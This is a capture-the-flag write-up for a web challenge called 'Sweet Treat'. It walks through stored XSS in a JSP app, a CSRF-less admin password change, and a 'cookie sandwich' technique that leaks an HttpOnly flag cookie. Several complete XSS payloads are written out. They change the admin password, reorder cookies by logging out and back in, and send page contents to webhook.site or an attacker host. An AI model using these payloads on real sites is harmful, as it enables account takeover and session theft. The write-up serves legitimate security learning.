>/posts/Sweet Treat $

Estimated reading time: 17 minutes


Sweet Treat

Category: Web

Difficulty: medium

Author: sidd.sh

Tags: xss, session, exfiltration, cookies

Description

To: [email protected]

Dear BarryPL,
Hope you have a sweet tooth.

Regards,
sidd.sh


Handout files

sweet_treat.zip


First Part

Look at the files

│>sweet treet
│ cookiejar
│ directory.db
│ docker-compose.yml
│ Dockerfile
│ README.md
│
└───webapp
│ edit_profile.jsp
│ index.jsp
│ login.jsp
│ logout.jsp
│ register.jsp
│ styles.css
│
└───admin
│ admin-review.jsp
│ admin.jsp

Run the app

As you can see, everything needed to run this challenge locally is included.
If you have Docker installed, you can start the service using:

docker compose up

On the main page, there's not much going on.

1

The only things visible are the user list, login form, and registration form.
If you want to log in directly as the admin, you can check the password in the attached database file.

4.5

Once you're logged in, you'll notice there are slightly more options available.
A textarea with a button labeled "Report profile to Admin" clearly suggests this is a stored XSS challenge.

1

Good. Let's test it with some simple payloads.

I typed:

<img src="" onerror="alert(1);"/>

and logged in to the admin account to check if it worked. It did - so I decided to stick with this kind of payload.

4.5

Once we're on the admin account, we can explore other functionalities. In addition to regular user features, the admin can:

  • kill and reset all sessions,

  • create new users,

  • and update existing ones - that's interesting.

5

Let's see how does the password update works!

6

A simple test shows there's no CSRF token present, so we might be able to change the admin's password!

Let's Take Admin's Account

This JavaScript code updates the admin's password once it's executed.
As you saw earlier, this happens when the admin opens the Review Reports tab - so don't forget to report your profile after injecting the script.

<img src=x onerror="
fetch('/admin/admin.jsp',
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'upd_username=admin&upd_new_username=&upd_password=111&action=update_user'
  })
  .then(r => r.text())
  .then(d => location = 'https://webhook.site/ID?data=' + encodeURIComponent(d))">

Pretty simple, huh?

Additionally, after successful execution, it also sends a request to the webhook so you can get notified - although that's completely optional.

Right after that, we can log in to the admin account. Great!
But what’s next?
The next step is to read the source code to understand what this task is really about.

Let's look into the source

In the file \('admin-review.jsp'\) you can find the following code:

<%
try {
    Class.forName("org.sqlite.JDBC");
    boolean isAdminCookie = false;
    Cookie[] admincookie = request.getCookies();
    if (admincookie != null) {
        for (Cookie c : admincookie) {
            if ("admin".equals(c.getName()) && "only-for-automate-not-very-relevant".equals(c.getValue())) {
                isAdminCookie = true;
                break;
            }
        }
    }
    if (isAdminCookie) {
        session.setAttribute("user", "admin");
        System.out.println("Set the Admin session");
        Cookie delCookie = new Cookie("admin", "");
        delCookie.setMaxAge(0);
        delCookie.setPath("/");
        response.addCookie(delCookie);
        Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
        flag.setPath("/");
        flag.setHttpOnly(true);
        response.addCookie(flag);
    }  
} catch (Exception e) {
    out.println("Error setting admin session: " + e.getMessage());
}
%>

Ah, so the flag is hidden in the admin’s cookie - that should be easy to get, right? Well... no ;x It's an HttpOnly cookie... That means it's only attached to HTTP requests and not accessible via JavaScript.

For example, the following code:

alert(document.cookie);

Will just display an empty alert ;c

7

So what's the next idea?
Of course - google for "HttpOnly cookie bypass".
(I'll skip the part about asking LLMs - they’re usually pretty useless when it comes to this topic.)

The most helpful resource was PortSwigger’s blog post: Stealing HttpOnly cookies

So how did they obtain it?
They added a custom cookie… with an unclosed quote?
Then another one? And finally, the closing one?

Ah — the closing quote.
I think I get it! ;D

But… can the cookie name be random?
Unfortunately not ;x It has to be something that’s actually reflected in the HTML code.

And it looks like I haven’t found anything like that yet.
So, I went back to digging through the source code.

After a while, I found something interesting:

<html lang="<%= lang %>">

And the code responsible for setting the value of that variable looked like this:

String lang = "en";
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    for (Cookie c : cookies) {
        if ("language".equals(c.getName())) {
            lang = c.getValue();
        }
    }
}

Looks like the page is reflecting the language cookie directly into the HTML without any sanitization or escaping - exactly what we needed!

This means we can use the language cookie name for the cookie sandwich technique, since it's reflected in the page and inserted verbatim into the DOM.

Let's make cookie sandwich

Now let’s update our payload and see if it works. Here's the next attempt:

<img src="" onerror="document.cookie='language=deadbeef; path=/admin;';i=document.createElement('iframe');i.src='/admin/admin-review.jsp';i.style='display:none;width:0;height:0;border:0';i.onload=function(){try{t=i.contentWindow.document.documentElement.lang;location='https://webhook.site/a867fa2e-4864-4559-8cca-9ba30c3c1b38?data='+encodeURIComponent(t)}catch(e){}};document.body.appendChild(i)">

At Webhook.site, I can check whether the value "deadbeef" was successfully reflected. Since the injected string ends up in the <html lang="..."> attribute, I extract it using document.documentElement.lang and send it to the webhook endpoint. You might wonder why I used location instead of fetch. That's because fetch would be blocked by CORS policies, while assigning to location results in a redirect, which does include the cookies and isn't subject to CORS restrictions. As shown in the screenshot below, the query string contains the "deadbeef" marker, so the injection worked as intended!

8

At this point, you might think we're ready to prepare the full cookie sandwich and extract the FLAG cookie, right?

Well... nope ;c

I spent quite a bit of time trying to make that work - and I got stuck.
The problem was that the cookie sandwich setup trapped the JSESSIONID (the session cookie) inside the malformed cookie block, which prevented the admin/admin-review.jsp page from properly recognizing the session and returning the flag inside the lang attribute.

This made it impossible to access the page as the authenticated user, even though the exploit was technically correct.

And that's when my teammate rvr solved the task.

His approach was slightly different, but once I combined his missing puzzle piece with my setup, it turned out both paths were valid just two sides of the same coin.

You might be wondering what that final piece was...

"Logout + Login", yes, it may sound unreasonable, but it changes the order of the cookies.
In this case, the server issues the flag cookie (available only to the admin).
That cookie then gets trapped inside my cookie sandwich, and finally we receive a new JSESSIONID cookie.
At that point, we can safely load a new iframe and retrieve the page as the admin.

Here is my teammate's exploit:

<img src=1 onerror='document.cookie=`$Version=1;`;document.cookie = `language="start`;document.cookie = `param2=end"; path=/;`;fetch(`/logout.jsp`).then(_ => fetch(`/login.jsp`, {headers: {"content-type": "application/x-www-form-urlencoded",},body: "username=admin&password=111",method: "POST",mode: "cors",credentials:"include"}).then(_ => fetch(`/admin/admin-review.jsp`).then(a => a.text()).then(a =>{flag=encodeURIComponent(a);fetch(`https://webhook.site/ID?a=${flag}`)})))'>

I decided to stick to my original idea and simply extend it with the logout + login step.
So my payload was similar to the previous one, but with the added logout + login flow:

<img src=1 onerror='
document.cookie=`$Version=1;`;
document.cookie=`language="start`;
document.cookie=`param2=end"; path=/;`;
fetch(`/logout.jsp`).then(_ => fetch(`/login.jsp`, {
  headers: { "content-type": "application/x-www-form-urlencoded" },
  body: "username=admin&password=111",
  method: "POST",
  mode: "cors",
  credentials: "include"
}).then(_ => {
  var i=document.createElement("iframe");
  i.src="/admin/admin-review.jsp";
  i.style.display="none";
  document.body.appendChild(i);
  i.onload=function(){
    try {
      var a = i.contentWindow.document.documentElement.outerHTML;
      var flag = encodeURIComponent(a);
      location=`https://webhook.site/a867fa2e-4864-4559-8cca-9ba30c3c1b38?a=${flag}`;
    } catch(e) { console.error(e); }
  };
}))'>   

In this case I sent the entire loaded HTML to my webhook and I was able to see this:

9

And finally, the correct flag:

n

Intended Solution

So what was the intended solution?
Well, I should have spent 2 more minutes analyzing the code. If I had done that, I would have noticed that there was a <html lang="..."> attribute in index.jsp.
That means the whole cookie order trick with logout and login was completely unnecessary…

The official solution looks like this:

<script>
document.cookie = `$Version=1; path=/index.jsp;`;
document.cookie = `language="start; path=/index.jsp;`;
document.cookie = `end="; path=/`;
fetch("/index.jsp").then(function (res){return res.text();}).then(
function (html) {
    console.log("Sending exfil");
    fetch("http://<attacker_lhost>:<attacker_lport>/exfil",
    {
        method: "POST",
        body: html.substring(0,135)
    });
});
</script>

Takeaways

The important thing I learned while solving this challenge is that you can sometimes abuse cookie order to access a cookie from a logged-in-only section by performing a logout + login flow. I guess it won't work with every server, but it's a technique worth remembering.

And of course, always check the entire source code carefully - that way you won't waste as much time as I did solving unnecessary problems!